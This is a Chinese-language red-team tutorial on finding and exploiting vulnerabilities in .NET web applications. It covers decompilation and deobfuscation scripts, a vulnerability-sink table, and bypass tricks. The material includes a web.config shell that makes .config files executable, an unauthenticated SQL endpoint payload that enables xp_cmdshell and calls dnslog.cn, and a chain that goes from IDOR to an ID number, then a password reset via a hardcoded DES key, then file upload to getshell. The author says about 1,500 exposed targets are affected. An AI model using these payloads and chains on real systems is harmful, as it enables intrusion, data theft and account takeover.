前言 在红队攻防对抗中,.NET系统是出现频次比较高,.NET系统由于其架构特性,通常会将业务逻辑封装在DLL程序集中,通过ASPX/ASHX等页面文件进行调用。这种架构使得我们能够通过反编译技术快速还原源代码,结合静态代码审计和动态测试,快速定位SQL注入、命令执行、文件上传、反序列化等常见高危漏洞。本文将围绕获取源码、反编译、漏洞快速定位、绕过技巧和实战案例来帮助师傅们快速在红队场景中挖掘0day
源码获取 凌风云网盘
https://www.lingfengyun.com/
闲鱼购买
指纹提取旁站扫描备份文件
指纹提取 body=”xxxx” + 压缩文件目录扫描 (指定文件名www.zip)
反编译dll+去混淆 反编译 / 静态查看:ILSpy、dnSpy、dotPeek
dnSpy单个打开并导出到工程
使用dnSpy批量打开 :
1 2 File -> Open -> 选择整个 bin 目录 dnSpy会自动加载所有程序集
使用ILSpy命令行 :
1 2 3 4 5 6 7 8 # 安装 ilspycmd dotnet tool install ilspycmd -g # 反编译整个目录 ilspycmd -p -o output_dir .\bin\*.dll # 反编译到单个文件 ilspycmd -p -o output.cs .\bin\YourApp.dll
使用脚本批量反编译 :
把下面的代码保存为bat文件,放到bin目录下,该bat脚本会在每个DLL所在目录下创建一个与 DLL 同名的文件夹
(例如 C:\xxx\lib\test.dll → C:\xxx\lib\test\),并将 ilspycmd 的输出写入该文件夹
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 @echo offchcp 65001 setlocal enabledelayedexpansion REM 从当前目录递归查找所有 dll for /R %%F in (*.dll) do ( REM %%F = 完整路径(含文件名和扩展名) set "dll_path=%%F" set "dll_name=%%~nF" set "dll_dir=%%~dpF" set "out_dir=%%~dpF%%~nF" echo 正在导出 "%%F" 到 "!out_dir!\ ..." if not exist "!out_dir!\" mkdir " !out_dir!" ilspycmd -p -o " !out_dir!" " %%F" ) echo 全部完成! pause
去混淆 : 混淆后的代码可能会出现类似的片段:
1 2 3 4 5 private string \u0001;private void \u0002(string \u0003){ if (this .\u0001 == \u0003) }
处理混淆代码 : 使用 de4dot 去混淆,下载程序添加至环境变量
https://github.com/0xd4d/de4dot
https://github.com/ViRb3/de4dot-cex
1 2 de4dot.exe source.dll -o Remove_obfuscated.dll de4dot.exe -r D:\input -ru -ro D:\output
单个反编译太慢,我们可以使用命令或脚本进行快速批量去混淆
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 import osimport subprocessimport shutilfrom pathlib import Pathimport timedef main (): print ("🔧 快速de4dot批量反混淆工具" ) print ("=" * 40 ) try : result = subprocess.run(["de4dot" , "--help" ], capture_output=True , text=True , timeout=5 ) if result.returncode != 0 : raise Exception("de4dot命令执行失败" ) print ("✅ de4dot全局命令检查通过" ) except Exception as e: print (f"❌ de4dot全局命令不可用: {e} " ) return current_dir = Path("." ) dll_files = [] for pattern in ["*.dll" , "*.exe" ]: dll_files.extend(current_dir.glob(pattern)) exclude_patterns = [ "System." , "Microsoft." , "Newtonsoft." , "EntityFramework" , "Oracle." , "MySql." , "NLog." , "Quartz." , "RestSharp" , "StackExchange." , "Thinktecture." , "BouncyCastle" ] filtered_files = [f for f in dll_files if not any (p in f.name for p in exclude_patterns)] if not filtered_files: print ("❌ 当前目录没有找到需要处理的DLL文件" ) return print (f"📁 找到 {len (filtered_files)} 个文件需要处理:" ) for f in filtered_files: print (f" - {f.name} " ) output_dir = Path("deobfuscated" ) output_dir.mkdir(exist_ok=True ) print (f"\n🚀 开始处理..." ) print (f"输出目录: {output_dir.absolute()} " ) success_count = 0 start_time = time.time() for i, dll_file in enumerate (filtered_files, 1 ): print (f"\n[{i} /{len (filtered_files)} ] 🔄 处理: {dll_file.name} " ) try : output_subdir = output_dir / dll_file.stem output_subdir.mkdir(exist_ok=True ) cmd = ["de4dot" , str (dll_file), "-o" , str (output_subdir / dll_file.name)] print (f" 执行: {' ' .join(cmd)} " ) result = subprocess.run(cmd, capture_output=True , text=True , timeout=300 ) if result.returncode == 0 : print (f" ✅ 成功: {dll_file.name} " ) success_count += 1 else : print (f" ❌ 失败: {dll_file.name} " ) except subprocess.TimeoutExpired: print (f" ⏰ 超时: {dll_file.name} " ) except Exception as e: print (f" ❌ 异常: {dll_file.name} - {e} " ) end_time = time.time() print (f"\n📊 处理完成! 成功 {success_count} /{len (filtered_files)} 个, 耗时 {end_time - start_time:.1 f} 秒" ) print (f"输出目录: {output_dir.absolute()} " ) print ("\n🎉 批量反混淆完成!" ) if __name__ == "__main__" : main()
去混淆前后对比
ashx和dll映射关系 如 AjaxUpload.aspx,逻辑代码在 AjaxUpload.aspx.cs,页面会继承 M_Main.AjaxUpload 类,并自动绑定事件
这时候我们反编译 M_Main.dll,并找到对应的AjaxUpload类,便可以开始愉快的代码审计了
常见漏洞sink点
漏洞类型
漏洞Sink点
审计描述
SQL 注入
ExecuteNonQuery(), ExecuteReader(), ExecuteScalar(), SqlDataAdapter.Fill(), ExecuteSqlCommand(), ExecuteSqlRaw(), CreateSQLQuery(), connection.Query()
检查点 :查找 SQL 语句是否通过字符串拼接或格式化(+, String.Format, $"")将 Request/Query/Form/Cookie 等直接插入。
命令执行(RCE)
Process.Start(), ProcessStartInfo.FileName, ProcessStartInfo.Arguments
检查点 :是否把用户输入拼接到命令或传给 shell/PowerShell, FileName 与 Arguments 是否来自外部
文件上传 / 任意文件写入
SaveAs(), WriteAllBytes(), WriteAllText(), FileStream.Write()
检查点 :是否校验扩展名、MIME、内容类型、文件名(路径分隔符)、以及保存目录权限;是否防止覆盖已有文件,上传可执行脚本(.aspx/.ashx)getshell
反序列化
BinaryFormatter.Deserialize(), SoapFormatter.Deserialize(), JsonConvert.DeserializeObject(), LosFormatter.Deserialize()
检查点 :反序列化是否对不可信输入(Request、Cookie、ViewState、文件等)执行;是否使用不安全的序列化库(BinaryFormatter、SoapFormatter)
任意文件读取
File.ReadAllBytes(), File.ReadAllText(), Response.WriteFile(), Response.TransmitFile(), File()
检查点 :是否将用户参数直接作为文件路径输出或读取;是否存在未做路径合法化的文件下载接口。
路径遍历
Server.MapPath(), Path.Combine(), File.Delete(), Directory.GetFiles()
检查点 :路径拼接是否包含未过滤的用户输入;Path.Combine 后是否做规范化校验。
XXE(XML External Entity)
XmlDocument.LoadXml(), XmlDocument.Load(), XmlReader.Create(), DataSet.ReadXml()
检查点 :XML 解析是否启用了外部实体解析(DTD);是否解析来自不受信任来源的 XML。
SSRF
WebClient.DownloadString(), HttpClient.GetAsync(), WebRequest.Create(), HttpClient.PostAsync()
检查点 :是否允许用户指定 URL 并由服务器发起请求;是否对目标地址做白名单或内部地址检测。
远程文件下载
WebClient.DownloadFile()、HttpClient.GetStreamAsync()、HttpClient.GetByteArrayAsync()
检查点 :是否允许用户提供远程文件 URL(例如通过参数、表单、配置等输入),是否存在任意文件写入风险(保存路径是否可控、是否拼接了用户输入
未授权访问 检查默认路由暴露
默认路由 {controller}/{action}/{id} 会将所有 public action 暴露出来
查找未授权用户访问敏感控制器/方法,列出所有 Controller 和 public Action,与路由匹配,判断是否有不应暴露的接口
1 2 3 4 5 6 7 8 9 10 var controllerTypes = typeof(MvcApplication).Assembly.GetTypes() .Where(t => t.IsSubclassOf(typeof(Controller))); foreach (var ctrl in controllerTypes) { var actions = ctrl.GetMethods(BindingFlags.Public | BindingFlags.Instance) .Where(m => m.ReturnType.IsSubclassOf(typeof(ActionResult)) || m.ReturnType == typeof(ActionResult)); Console.WriteLine($"{ctrl.Name}: {string.Join(", ", actions.Select(a => a.Name))}"); }
ASMX公开访问 ASMX是一种用于创建 Web 服务的技术,公开未授权的 .asmx 方法可能允许读取或写入敏感数据(例如 GetUser、ResetPassword、UploadFile)
黑盒:目录扫描枚举 .asmx 文件名与常见服务名称,如service.asmx、webservice.asmx、CommonService
白盒:利用命令dir /s /b *.asmx或者everything筛选出存在且能访问到的webservice服务
https://github.com/SmartBear/soapui
soap发包,部分时候需要对内容进行html编码
web.config查看 HTTP 处理器配置 (handlers) 1 2 3 4 <handlers> <add name="AjaxMethod" verb="POST,GET" path="ajax/*.ashx" type="Ajax.PageHandlerFactory, Ajax" /> <add name="scissors" path="scissors.axd" verb="*" type="BitmapCutter.Core.HttpHandler.BitmapScissors,BitmapCutter.Core" /> </handlers>
分析方法:
path="ajax/*.ashx" → 表示 /ajax/*.ashx 路径可访问
path="scissors.axd" → 表示 /scissors.axd 路径可访问
verb="POST,GET" 或 verb="*" → 表示支持的HTTP方法
[AllowAnonymous] 在ASP.NET中,当使用 [AllowAnonymous] 特性来标记控制器的 action 方法,以允许匿名访问, 即不需要进行身份验证
[Route("uploadAnony")]定义路由为 /uploadAnony
[AllowAnonymous]允许匿名访问,没有任何登录或鉴权验证,意味着前台能直接上传文件
[HttpPost]限定此接口仅响应 POST 请求,外部通过 POST /uploadAnony 即可访问此方法
1 2 3 4 5 6 7 8 9 10 [Route("uploadAnony")] [AllowAnonymous] [HttpPost] public IHttpActionResult uploadAnony(string code) { HttpPostedFile A3 = HttpContext.Current.Request.Files[Class0.aHX()]; string A4 = A2[Class0.ahA()]; string B = A4.Split('.').ToList().Last(); A3.SaveAs(text); }
绕过技巧 SQL注入绕过 大多数系统会全局过滤SQL注入关键字,类似片段如下
检测了以下关键字,当检测到会报错停止
1 exec|insert|select|delete|update|truncate|or|drop|xp_cmdshell|waitfor delay|--
这时候我们就可以尝试fuzz未检测的关键字进行绕过,使用如下:
1 union, and, or, where, from, table, database, information_schema, waitfor, delay, sleep, benchmark, extractvalue, updatexml
除此以外,还可以使用以下方法进行绕过:
文件上传绕过 在 Windows 操作系统中,文件名末尾的点.通常被视为无效字符。当创建或保存文件时,Windows 会自动去除文件名末尾的点
1 2 3 4 5 6 7 8 9 string fileName = Path.GetFileName(fileUpload.FileName); string fileExt = Path.GetExtension(fileName)?.ToLowerInvariant(); string[] banned = { ".asp", ".aspx", ".jsp", ".jspx" }; if (banned.Contains(fileExt)) { Response.Write("不允许上传的文件类型"); return; }
403 Bypass绕过 存在任意⽂件上传漏洞,上传asp、aspx后,目录⽆法解析提示403禁⽌访问
解决⽅案:上传web.config格式的shell⽂件,可解析成功
通过移除 .config 保护,将所有 .config 映射为可写入且可执行的 ASP 脚本,实现 IIS 对 .config 文件的完全脚本执行与写入权限放开
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <handlers accessPolicy="Read, Script, Write"> <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" /> </handlers> <security> <requestFiltering> <fileExtensions> <remove fileExtension=".config" /> </fileExtensions> <hiddenSegments> <remove segment="web.config" /> </hiddenSegments> </requestFiltering> </security>
实战案例1:虚拟路径映射+前台Sql注入 Fofa资产数量1500多,也算是个小通杀
在 Web.config 的 <httpHandlers> 节点中配置了以下可直接前台访问的 .ashx 文件:
这些路径通过 Web.config 中的 <httpHandlers> 节点配置,是虚拟路径映射,不需要物理文件存在
文件位置:bin/xxxx/AppDataHandler.cs
首先提供两个危险方法:
ExcuteNonQuerry - 执行 INSERT/UPDATE/DELETE 等操作
GetDataTableByText - 执行 SELECT 查询并返回结果
1 2 3 4 5 6 7 8 9 10 11 public void ProcessRequest(HttpContext context) { context.Response.Cache.SetCacheability(HttpCacheability.NoCache); switch (context.Request["action"]) { case "ExcuteNonQuerry": ExcuteNonQuerry(context); break; case "GetDataTableByText": GetDataTableByText(context); break;
接口直接从请求参数中读取 cmdtext,用户提交的 cmdtext 参数直接作为 SQL 语句执行
1 string cmdText = context.Request["cmdtext"];
然后传入数据库执行,没有任何输入校验、SQL 拼接检查或白名单过滤
1 2 bool flag = iDDatabase.ExecuteNonQuery(cmdText); DataSet dataSet = iDDatabase.GetDataSet(cmdText);
执行命令还需要开启xpcmdshell,打开“显示高级选项”,然后将 xp_cmdshell 设置为 1
1 2 3 4 5 6 POST /xxxxx/AppData.ashx HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Cookie: XXX action=ExcuteNonQuerry&cmdtext=EXEC+sp_configure+'show+advanced+options',1;RECONFIGURE;EXEC+sp_configure+'xp_cmdshell',1;RECONFIGURE;EXEC+xp_cmdshell+'ping+dnslog.cn'
后续要getshell,可以选择找前台资源路径写shell或者直接命令上线,就不详细赘述了
实战案例2:重置密码+后台任意文件上传 通过ID越权获取身份证号
只检验id 是否存在,符合类型则返回结果,没有检查请求者是否为该 id 的拥有者或有权限访问该用户信息
身份证号重置密码
通过 gidcard 参数在 GUARDER 表中查找记录,如果不存在,返回错误信息
接着再去验证 gurpass 是否正常解密
1 2 3 4 5 GUARDER gUARDER = base .IocBase.GUARDERService.Get((GUARDER o) => o.IDENTITYNO == gidcard); if (gUARDER == null ){ return HtmlHelpers.FailJsonResult("身份证号不存在!" ); }
DesDecrypt 函数,硬编码 key = "123456"
1 2 3 4 5 6 7 string message = gurpass; gurpass = des.DesDecrypt("123456", message); public static string DesDecrypt(string key, string message) { return DES(key, HexToString(message), isEncrypt: false, 0, ""); }
整个gurpass解密过程大体如下
1 2 3 4 5 6 7 8 WeiXinController.DoResetGPwd() ↓ des.DesDecrypt() ├─→ HexToString() └─→ DES() ├─→ DES_CreateKey() │ └─→ MoveByte() └─→ MoveByte()
根据解密逻辑编写脚本进行加密
使用存在的身份证号成功重置密码
后台任意文件上传
审计要点 :
1 2 3 grep -r "SaveAs\|WriteAllBytes\|FileStream.*Write" decompiled_output/ grep -r "HttpPostedFileBase\|IFormFile" decompiled_output/
可以看到这里直接拼接路径回显,没有限制上传后缀
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 private ResponseData UploadFiles(HttpContext context) { ResponseData responseData = new ResponseData(); string strErrorMsg; List<Dictionary<string, string>> list = ReceiveFiles(context, AccessaryType.Customize, -1, out strErrorMsg); // ... } { if (context.Request.Files.Count > 0) { for (int i = 0; i < context.Request.Files.Count; i++) { HttpPostedFile httpPostedFile = context.Request.Files[i]; if (httpPostedFile.ContentLength > 0) { string extension = Path.GetExtension(httpPostedFile.FileName); // ❌ 未验证 string text3 = Guid.NewGuid().ToString() + extension; httpPostedFile.SaveAs(text2 + text3); // ❌ 直接保存 } } } }
但是这里 text2、text3是根据时间生成的路径不可控,如果想要getshell需要看该路径下是否能解析aspx、ashx
幸运的是能解析
如果像下面这种FilePath和PathType由用户可控,getshell则容易许多
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 protected void Page_Load(object sender, EventArgs e) { if (base.Request.Files["Filedata"] != null) { HttpPostedFile httpPostedFile = base.Request.Files["Filedata"]; string text = base.Request["FilePath"]; // 用户可控的路径 if (string.IsNullOrEmpty(text)) { string text2 = base.Request["PathType"]; // 用户可控 if (string.IsNullOrEmpty(text2) || text2 == "Default") { text = $"Accessary/{DateTime.Today.Year:D4}/{DateTime.Today.Month:D2}"; } else { AccessaryType accessaryType = (AccessaryType)Enum.Parse(typeof(AccessaryType), text2, ignoeCase: true); text = CGeneral.GetAccessaryDir(accessaryType); } }
或者是像这种路径拼接的,可以通过 ../../../ 进行路径遍历,写到前台可以访问解析的路径下
1 2 3 string folder = Request["folder"]; string path = Path.Combine("~/uploads/", folder, fileName); file.SaveAs(Server.MapPath(path));